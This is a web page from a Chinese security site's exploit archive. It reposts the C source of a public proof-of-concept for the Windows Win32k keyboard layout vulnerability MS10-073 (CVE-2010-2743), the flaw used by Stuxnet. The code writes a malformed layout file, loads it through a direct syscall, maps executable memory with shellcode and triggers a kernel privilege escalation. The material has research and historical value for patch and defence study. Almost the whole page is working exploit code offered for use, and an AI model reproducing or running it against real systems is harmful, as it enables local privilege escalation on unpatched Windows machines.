首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
MS10-073: Win32k Keyboard Layout Vulnerability
来源:http://reversemode.com/ 作者:Santamarta 发布时间:2011-01-14  

// My koala is staring at you  CºgºD
// Source: http://reversemode.com/index.php?option=com_content&task=view&id=71&Itemid=1


#include <windows.h>
#include <stdio.h>
#include <ntsecapi.h>


#define MAGIC_OFFSET 0x6261

#define InitializeUnicodeStr(p,s) {  \
     (p)->Length= wcslen(s)*2;   \
     (p)->MaximumLength = wcslen(s)*2+2; \
     (p)->Buffer = s;    \
     }


_declspec(naked) HKL __stdcall NtUserLoadKeyboardLayoutEx
(
   IN HANDLE Handle,
   IN DWORD offTable,
   IN PUNICODE_STRING puszKeyboardName,
   IN HKL hKL,
   IN PUNICODE_STRING puszKLID,
   IN DWORD dwKLID,
   IN UINT Flags
)
{
 __asm
 {
  mov eax, 000011c6h
  mov edx, 7ffe0300h
  call dword ptr [edx]
  retn 1Ch
 }
}


unsigned char shellcode[]="\x90\x90\x90\x90\xC2\x0C\x00\x90\x90";

unsigned char fakeDll[]="\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00"
      "\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"
      "\x00\x00\x00\x00\xE0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
      "\x00\x00\x00\x00\x00\x00\x00\x00\x2E\x64\x61\x74\x61\x00\x00\x00"
      "\xE6\x00\x00\x00\x60\x01\x00\x00\xE6\x00\x00\x00\x60\x01\x00\x00"
      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
      "\x94\x01\x00\x00\x9E\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
      "\xA6\x01\x00\x00\xAA\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
      "\x00\x00\x00\x00\x9C\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
      "\x00\x00\x01\x00\x00\x00\xC2\x01\x00\x00\x00\x00\x00\x00\x00\x00"
      "\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
      "\x00\x00\x00\x00\x00\x00";

int main(int argc, CHAR* argv[])
{
 
 UNICODE_STRING uStr;

 KEYBDINPUT  kb={0};
 INPUT   vInput={0};
 
 HANDLE   hFile;
 DWORD   dwFuckS0ny;
 
 HKL    hKbd;
 
 WCHAR   lpPath[MAX_PATH]={0};
 WCHAR   lpLayoutFile[MAX_PATH]={0};

 LPVOID   lpShellPtr;

 

 printf("\n\nStuxnet MS10-073/CVE-2010-2743 Exploit\n");
 printf("Ruben Santamarta - www.reversemode.com\n\n");
 
 

 LoadLibraryA("user32.dll");

 InitializeUnicodeStr(&uStr,L"pwn3d.dll");

 GetTempPathW( MAX_PATH, lpPath );

 wsprintf( lpLayoutFile, L"%lSp0wns.boom", lpPath);


 hFile = CreateFileW(lpLayoutFile,
      GENERIC_READ|GENERIC_WRITE,
      FILE_SHARE_READ|FILE_SHARE_WRITE,
      0,
      CREATE_ALWAYS,
      0,0);

 if( hFile == INVALID_HANDLE_VALUE )
 {
  printf(" \n[!!] Error\n");
  exit(0);
 }

 WriteFile( hFile,
    fakeDll,
    sizeof(fakeDll)-1,
    &dwFuckS0ny,
    NULL);

 printf("\n[+] Writing malformed kbd layout file \n\t\"%S\"\n\t[ %d ] bytes written\n",lpLayoutFile,dwFuckS0ny);
 CloseHandle(hFile);

 hFile = CreateFileW (lpLayoutFile,
       GENERIC_READ,
       FILE_SHARE_READ,
       0,
       OPEN_EXISTING,
       0,0);

 if( hFile == INVALID_HANDLE_VALUE )
 {
  printf(" \n[!!] Error\n");
  exit(0);
 }
 
 hKbd = GetKeyboardLayout( GetWindowThreadProcessId( GetForegroundWindow(), &dwFuckS0ny ) );
 

 printf("\n[+] Loading it...[ 0x%x ]\n", NtUserLoadKeyboardLayoutEx( hFile, 0x01AE0160, NULL, hKbd, &uStr, 0x666, 0x101 ) );

 lpShellPtr = VirtualAlloc( (LPVOID)0x60630000,
        0xF000,
        MEM_COMMIT|MEM_RESERVE,
        PAGE_EXECUTE_READWRITE);

 printf("\n[+] Allocating memory...");

 if( !lpShellPtr )
 {

  printf("[!!] Error %x\n",GetLastError());
  exit(0);

 }else{

  printf("[ OK ]\n");

 }
 
 memset( lpShellPtr, 0x90, 0xF000);

 memcpy( ( void* )( ( ULONG_PTR ) lpShellPtr + MAGIC_OFFSET ),
   ( const void* )shellcode,
   sizeof( shellcode ) - 1 );

 kb.wVk = 0x0;
 vInput.type  = INPUT_KEYBOARD;
 vInput.ki  = kb;

 printf("\n[+] Triggering shellcode...");
 SendInput( 1, ( LPINPUT ) &vInput, sizeof( INPUT ) );

 printf("\n[+] Done\n");

 return 0;
}


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·MS11-002: Microsoft Data Acces
·SiteScape Enterprise Forum 7 T
·Sinowal/Mebroot Bootkit Passwo
·Objectivity/DB Lack of Authent
·VMWare Denial Of Service / Pri
·Nokia Multimedia Player 1.0 SE
·Blackmoon FTP 3.1 Denial Of Se
·Mono/Moonlight Generic Type Ar
·Real Networks RealPlayer SP 'R
·ProFTPD 1.2 - 1.3.0 sreplace B
·eXtremeMP3 Player Buffer Overf
·Solar FTP Server 2.1 Buffer Ov
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved